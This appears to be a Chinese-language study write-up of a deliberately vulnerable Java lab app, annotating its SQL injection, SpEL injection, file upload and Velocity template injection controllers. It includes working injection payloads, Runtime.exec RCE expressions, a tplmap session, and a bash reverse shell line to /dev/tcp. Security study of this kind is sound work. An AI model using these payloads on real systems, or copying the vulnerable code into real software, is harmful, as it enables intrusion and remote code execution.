62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
package org.joychou.controller;


import org.joychou.mapper.UserMapper;
import org.joychou.dao.User;
import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.*;

import javax.annotation.Resource;
import java.sql.*;
import java.util.List;


/**
* SQL Injection
*
* @author JoyChou @2018.08.22
*/

@SuppressWarnings("Duplicates")
@RestController
@RequestMapping("/sqli")
public class SQLI {

private static final Logger logger = LoggerFactory.getLogger(SQLI.class);

// com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver.
private static final String driver = "com.mysql.cj.jdbc.Driver";

@Value("${spring.datasource.url}")
//表示把配置文件中的数据库url注入到private String url属性,无需手动从配置文件中读取
private String url;

@Value("${spring.datasource.username}")
private String user;

@Value("${spring.datasource.password}")
private String password;

@Resource
//用于将指定类型的对象实例注入到类的属性中,
//在这个例子中,它用于将UserMapper接口的实现类的对象实例注入到该类的"userMapper"属性中
//以避免手动创建对象的繁琐过程
private UserMapper userMapper;


/**
* <p>Sql injection jbdc vuln code.</p><br>
*
* <a href="http://localhost:8080/sqli/jdbc/vuln?username=joychou">http://localhost:8080/sqli/jdbc/vuln?username=joychou</a>
*/
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();

try {
Class.forName(driver);//加载数据库驱动程序的类,并将其注册到DriverManager中
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connect to database successfully.");

// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
//毫不过滤
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();


} catch (ClassNotFoundException e) {
logger.error("Sorry, can't find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}


/**
* <p>Sql injection jbdc security code by using {@link PreparedStatement}.</p><br>
*
* <a href="http://localhost:8080/sqli/jdbc/sec?username=joychou">http://localhost:8080/sqli/jdbc/sec?username=joychou</a>
*/
@RequestMapping("/jdbc/sec")
public String jdbc_sqli_sec(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();//需要大量字符拼接,创建一个可变的字符串类
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connect to database successfully.");

// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);//预处理
//预处理在字符串两边加上',对中间的'进行\转义,#{}也是预处理方式处理SQL注入
st.setString(1, username);//设置第一个?参数填入username

logger.info(st.toString()); // sql after prepare statement
ResultSet rs = st.executeQuery();

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}

rs.close();
con.close();

} catch (ClassNotFoundException e) {
logger.error("Sorry, can't find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}


/**
* <p>Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder.</p>
* <a href="http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a">http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a</a>
*/
@RequestMapping("/jdbc/ps/vuln")
public String jdbc_ps_vuln(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();
try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connecting to Database successfully.");

String sql = "select * from users where username = '" + username + "'";
//不正确的使用预处理,因为没有设置占位符
PreparedStatement st = con.prepareStatement(sql);

logger.info(st.toString());
ResultSet rs = st.executeQuery();

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}

rs.close();
con.close();

} catch (ClassNotFoundException e) {
logger.error("Sorry, can't find the Driver!");
e.printStackTrace();
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}


/**
* <p>Sql injection of mybatis vuln code.</p>
* <a href="http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1">http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1</a>
* <p>select * from users where username = 'joychou' or '1'='1' </p>
*/
@GetMapping("/mybatis/vuln01")
public List<User> mybatisVuln01(@RequestParam("username") String username) {
//返回一个列表对象
return userMapper.findByUserNameVuln01(username);
//这里分析一下
}

/**
* <p>Sql injection of mybatis vuln code.</p>
* <a href="http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1">http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1</a>
* <p>select * from users where username like '%joychou' or '1'='1%' </p>
*/
@GetMapping("/mybatis/vuln02")
public List<User> mybatisVuln02(@RequestParam("username") String username) {
return userMapper.findByUserNameVuln02(username);
}

/**
* <p>Sql injection of mybatis vuln code.</p>
* <a href="http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc--">http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=id desc--</a>
* <p> select * from users order by id desc-- asc</p>
*/
@GetMapping("/mybatis/orderby/vuln03")
public List<User> mybatisVuln03(@RequestParam("sort") String sort) {
return userMapper.findByUserNameVuln03(sort);
}


/**
* <p>Sql injection mybatis security code.</p>
* <a href="http://localhost:8080/sqli/mybatis/sec01?username=joychou">http://localhost:8080/sqli/mybatis/sec01?username=joychou</a>
*/
@GetMapping("/mybatis/sec01")
public User mybatisSec01(@RequestParam("username") String username) {
return userMapper.findByUserName(username);
}

/**
* <p>Sql injection mybatis security code.</p>
* <a href="http://localhost:8080/sqli/mybatis/sec02?id=1">http://localhost:8080/sqli/mybatis/sec02?id=1</a>
*/
@GetMapping("/mybatis/sec02")
public User mybatisSec02(@RequestParam("id") Integer id) {
return userMapper.findById(id);
}


/**
* <p>Sql injection mybatis security code.</p>
* <a href="http://localhost:8080/sqli/mybatis/sec03">http://localhost:8080/sqli/mybatis/sec03</a>
*/
@GetMapping("/mybatis/sec03")
public User mybatisSec03() {
return userMapper.OrderByUsername();
}

/**
* <p>Order by sql injection mybatis security code by using sql filter.</p>
* <a href="http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id">http://localhost:8080/sqli/mybatis/orderby/sec04?sort=id</a>
* <p>select * from users order by id asc </p>
*/
@GetMapping("/mybatis/orderby/sec04")
public List<User> mybatisOrderBySec04(@RequestParam("sort") String sort) {
return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
}

}

UserMapper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.joychou.mapper;

import org.apache.ibatis.annotations.Mapper;
import org.apache.ibatis.annotations.Param;
import org.apache.ibatis.annotations.Select;
import org.joychou.dao.User;

import java.util.List;

@Mapper
public interface UserMapper {

/**
* If using simple sql, we can use annotation. Such as @Select @Update.
* If using ${username}, application will send a error.
*/
@Select("select * from users where username = #{username}")
//用了select注解,#{username}表示先替换为占位符,在预编译时插入
// 它会自动将参数进行转义处理,如果插入文本要用$
User findByUserName(@Param("username") String username);

@Select("select * from users where username = '${username}'")
//用了select注解,${username}表示直接插入
List<User> findByUserNameVuln01(@Param("username") String username);

List<User> findByUserNameVuln02(String username);//使用mybatis框架自动生成查询语句
//select * from users where username =
List<User> findByUserNameVuln03(@Param("order") String order);
//指定参数了,但是@select没有对应参数,使用mybatis框架自动生成查询语句
User findById(Integer id);

User OrderByUsername();

}

在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${},而不用#{},因为#{}变量是经过预编译的,${}没有经过预编译,虽然${}存在SQL注入的风险,但orderBy必须使用${},因为#{}会多出单引号’’导致SQL语句失效,为防止SQL注入只能自己对其过滤

1
2
3
4
select * from users order by 'username' desc -- 结果为 joychou wilson lightless 
select * from users -- 结果为 joychou wilson lightless
select * from users order by username -- 结果为 joychou lightless wilson
select * from users order by username desc -- 结果为 wilson lightless joychou

@Select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.ibatis.annotations;

import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;

@Documented//声明该注解应该包含在JavaDoc文档中,
@Retention(RetentionPolicy.RUNTIME)//声明注解保留期限
/**
RetentionPolicy.SOURCE:该注解仅保留在源代码中,编译后被丢弃。
RetentionPolicy.CLASS:该注解保留在编译后的字节码文件中,但在运行时被丢弃。
RetentionPolicy.RUNTIME:该注解保留在运行时期间,可以通过反射机制获取到。
**/
@Target({ElementType.METHOD})
//声明该注解可以标记的目标元素,即该注解可以用于哪些元素
//java的元素包括类,方法,字段,参数,局部变量,注解等
public @interface Select {
String[] value();
//表示该注解中一个属性值
}

由于 MyBatis 中一个接口方法可以对应多个 SQL 查询语句,因此使用了 String[] 类型来接收多个查询语句

1
2
@Select({"select * from users where username = #{username}", "select * from users where email = #{email}"})
List<User> findUsers(@Param("username") String username, @Param("email") String email);

Spel

image-20230307145120221

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.joychou.controller;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;


/**
* SpEL Injection
*
* @author JoyChou @2019-01-17
*/
@RestController
public class SpEL {

/**
* SpEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {//绑定路由的函数,返回String形式
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
//这啥都没过滤,直接填到解析器中
//具体是:使用一个解析器对象的paraseExpression方法对表达式进行解析,
// 然后调用getValue方法来计算表达式的值,并将其转化为字符串类型
}

public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")";
String result = parser.parseExpression(expression).getValue().toString();
System.out.println(result);
}
}

FileUpload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
package org.joychou.controller;

import com.fasterxml.uuid.Generators;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;

import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.UUID;

import org.joychou.security.SecurityUtil;


/**
* File upload.
*
* @author JoyChou @ 2018-08-15
*/
@Controller//声明SpringMVC控制器
@RequestMapping("/file")
public class FileUpload {

// Save the uploaded file to this folder
private static final String UPLOADED_FOLDER = "/tmp/";//上传文件夹为/tmp/
private final Logger logger = LoggerFactory.getLogger(this.getClass());//登录模块.....
private static String randomFilePath = "";

// uplaod any file
@GetMapping("/any")//返回一个简单的文件上传表单
public String index() {
return "upload"; // return upload.html page
}

// only allow to upload pictures
@GetMapping("/pic")
public String uploadPic() {
return "uploadPic"; // return uploadPic.html page
}

@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,//通过file来捕获MultipartFile对象
//MultipartFile是SpringMVC的上传操作工具类
RedirectAttributes redirectAttributes) {
//RedirectAttributes是SPringMVC3.1后的类,能够带参数重定向
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
//设置重定向参数并藏到session里
return "redirect:/file/status";//如果没有上传文件或文件为空就重定向
}

try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
//拼接文件路径到"/tmp/文件名",这里直接用../../
Files.write(path, bytes);
//文件的字节流写入路径处

redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");
//回显文件路径

} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
logger.error(e.toString());
}

return "redirect:/file/status";
}

@GetMapping("/status")
public String uploadStatus() {
return "uploadStatus";
}

// only upload picture
@PostMapping("/upload/picture")
@ResponseBody//将java对象转化为json格式
public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {
//MultipartFile multifile
if (multifile.isEmpty()) {
return "Please select a file to upload";
}

String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); //截取最后一个.后部分 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
String filePath = UPLOADED_FOLDER + fileName;//拼接路径
File excelFile = convert(multifile);//excelFile其实就是个时间戳文件名的复制文件
//convert方法过程完全没有过滤操作....为后续爆破时间戳文件提供条件


// 判断文件后缀名是否在白名单内 校验1
String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};
boolean suffixFlag = false;
for (String white_suffix : picSuffixList) {//遍历逐个赋值给white_suffix
if (Suffix.toLowerCase().equals(white_suffix)) {
suffixFlag = true;
break;
}
}
if (!suffixFlag) {
logger.error("[-] Suffix error: " + Suffix);
deleteFile(filePath);//这里判断文件后缀不对才会删除
return "Upload failed. Illeagl picture.";
}


// 判断MIME类型是否在黑名单内 校验2
String[] mimeTypeBlackList = {
"text/html",
"text/javascript",
"application/javascript",
"application/ecmascript",
"text/xml",
"application/xml"
};
for (String blackMimeType : mimeTypeBlackList) {
// 用contains是为了防止text/html;charset=UTF-8绕过
if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {
logger.error("[-] Mime type error: " + mimeType);
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}
}

// 判断文件内容是否是图片 校验3
boolean isImageFlag = isImage(excelFile);
deleteFile(randomFilePath);//判断完以后删除介质时间戳文件
//这里由于是判断到第三步才删除掉时间戳文件,那么完全上传php然后到/tmp/下爆破时间戳文件名
if (!isImageFlag) {
logger.error("[-] File is not Image");
deleteFile(filePath);
return "Upload failed. Illeagl picture.";
}


try {
// Get the file and save it somewhere
byte[] bytes = multifile.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());
//这里由于还是用的最初上传的文件名,依然存在目录穿越漏洞,只是上传图片马无法解析了
Files.write(path, bytes);
//所有判断结束后才在正常路径写入文件,这样避免了条件竞争
} catch (IOException e) {
logger.error(e.toString());
deleteFile(filePath);
return "Upload failed";
}

logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);
logger.info("[+] Successfully uploaded {}", filePath);
return String.format("You successfully uploaded '%s'", filePath);
}

private void deleteFile(String filePath) {
File delFile = new File(filePath);
if(delFile.isFile() && delFile.exists()) {
if (delFile.delete()) {
logger.info("[+] " + filePath + " delete successfully!");
return;
}
}
logger.info(filePath + " delete failed!");
}

/**
* 为了使用ImageIO.read()
*
* 不建议使用transferTo,因为原始的MultipartFile会被覆盖
* https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file
*/
private File convert(MultipartFile multiFile) throws Exception {
//为了满足ImageIO.read把一个文件复制成另一个文件有一个时间戳文件路径
String fileName = multiFile.getOriginalFilename();
String suffix = fileName.substring(fileName.lastIndexOf("."));
UUID uuid = Generators.timeBasedGenerator().generate();//设置了时间戳
randomFilePath = UPLOADED_FOLDER + uuid + suffix;//时间戳+后缀
// 生成一个时间戳同后缀名的文件对象,此时里面没有数据
File convFile = new File(randomFilePath);
boolean ret = convFile.createNewFile();
if (!ret) {//如果文件对象不存在
return null;
}
FileOutputStream fos = new FileOutputStream(convFile);//文件输出流
fos.write(multiFile.getBytes());//把文件读入到convFile的fos流
fos.close();//这样就把数据保存到convFile
return convFile;
}

/**
* Check if the file is a picture.
*/
private static boolean isImage(File file) throws IOException {
BufferedImage bi = ImageIO.read(file);
return bi != null;
}
}

uploadStatus.html

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<body>

<div th:if="${message}">
<!-- 这个是Thymeleaf模板引擎的th:if属性如果message属性值为true则为真 -->
<!-- 此时显示<h4>并利用模板属性th:text把message值当作文本显示,否则不显示任何代码-->
<h4 th:text="${message}"/>
</div>

</body>
</html>

uploadPic.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<!--xmlns:th使用了Thymeleaf模板引擎的命名空间来声明使用Thymeleaf的属性-->
<body>

<h3>file upload only picture</h3>

<form method="POST" th:action="@{upload/picture}" enctype="multipart/form-data">
<!-- @{}是Thymeleaf中的表达式,它会被Thymeleaf模板引擎处理并转换成相对路径/绝对路径的URL-->
<!-- 表单目标地址为upload/picture-->
<input type="file" name="file" /><br/><br/>
<input type="submit" value="Submit" />
</form>

</body>
</html>

replaceSpecialStr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static String replaceSpecialStr(String str) {//逐个字符过滤,只有字母数字和允许的特殊字符不被过滤
StringBuilder sb = new StringBuilder();//设置可变字符串对象
str = str.toLowerCase();
for(int i = 0; i < str.length(); i++) {
char ch = str.charAt(i);//charAt定位字符串
// 如果是0-9
if (ch >= 48 && ch <= 57 ){
sb.append(ch);
}
// 如果是a-z
else if(ch >= 97 && ch <= 122) {
sb.append(ch);
}
else if(ch == '/' || ch == '.' || ch == '-'){
sb.append(ch);
}
}

return sb.toString();
}

RedirectAttributes重定向两种方式

a.

跳转参数直接在明文中

1
2
3
4
5
RedirectAttributes.addFlashAttribute("name", "123");  <br>
RedirectAttributes.addFlashAttribute("success", "success");<br>
return "redirect:/index";<br>
===
return "redirect:/index?name=123&success=success"

b.

把参数藏到session中,跳转后马上移除session对象

1
2
3
RedirectAttributes.addFlashAttribute("status","999");<br>
RedirectAttributes.addFlashAttribute("message","登录失败");<br>
return "redirect:/toLogin";<br>

MultipartFile的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.springframework.web.multipart;

import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import org.springframework.core.io.InputStreamSource;
import org.springframework.core.io.Resource;
import org.springframework.lang.Nullable;
import org.springframework.util.FileCopyUtils;

public interface MultipartFile extends InputStreamSource {
//getName() 返回参数的名称
String getName();
//获取源文件的昵称
@Nullable
String getOriginalFilename();
//getContentType() 返回文件的内容类型
@Nullable
String getContentType();
//isEmpty() 判断是否为空,或者上传的文件是否有内容
boolean isEmpty();
//getSize() 返回文件大小 以字节为单位
long getSize();
//getBytes() 将文件内容转化成一个byte[] 返回
byte[] getBytes() throws IOException;
//getInputStream() 返回InputStream读取文件的内容
InputStream getInputStream() throws IOException;

default Resource getResource() {
return new MultipartFileResource(this);
}
//transferTo是复制file文件到指定位置(比如D盘下的某个位置),不然程序执行完,文件就会消失,程序运行时,临时存储在temp这个文件夹中
void transferTo(File var1) throws IOException, IllegalStateException;

default void transferTo(Path dest) throws IOException, IllegalStateException {
FileCopyUtils.copy(this.getInputStream(), Files.newOutputStream(dest));
}
}

SSTI

脚本

1
2
git clone https://github.com/epinna/tplmap
python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
[+] Testing if GET parameter 'template' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin is testing blind injection
[+] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '*'
[+] Velocity plugin is testing blind injection
[+] Velocity plugin has confirmed blind injection
[+] Tplmap identified the following injection point:

GET parameter: template
Engine: Velocity
Injection: *
Context: text
OS: undetected
Technique: blind
Capabilities:

Shell command execution: ok (blind)
Bind and reverse shell: ok
File write: ok (blind)
File read: no
Code evaluation: no

[+] Blind injection has been found and command execution will not produce any output.
[+] Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.
[+] Run commands on the operating system.
(blind) $ id
True
(blind) $ whoami
True
(blind) $ bash -i >& /dev/tcp/reverse_ip/2333 0>&1

手注

使用时必须手动编码一次

1
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")

也可也直接利用address字符串

1
$address.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc.exe")

image-20230307192016712

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.joychou.controller;


import org.apache.velocity.VelocityContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import org.apache.velocity.app.Velocity;

import java.io.StringWriter;

@RestController//返回json格式
@RequestMapping("/ssti")
public class SSTI {

/**
* SSTI of Java velocity. The latest Velocity version still has this problem.
* Fix method: Avoid to use Velocity.evaluate method.
* <p>
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
* Open a calculator in MacOS.
*
* @param template exp
*/
@GetMapping("/velocity")
public void velocity(String template) {//接受template参数
Velocity.init();//初始化模板引擎

VelocityContext context = new VelocityContext();//创建一个对象储存velocity要渲染的数据

context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");//添加数据

StringWriter swOut = new StringWriter();//用于保存渲染结果
Velocity.evaluate(context, swOut, "test", template);
//四个参数,第一个是在模板中使用的数据,第二个渲染结果的储存Writer对象,这里是存在了字符串缓冲区
// ,第三个是Velocity日志中标识此次渲染的标签,第四个是要渲染的模板的路径或字符串
}
}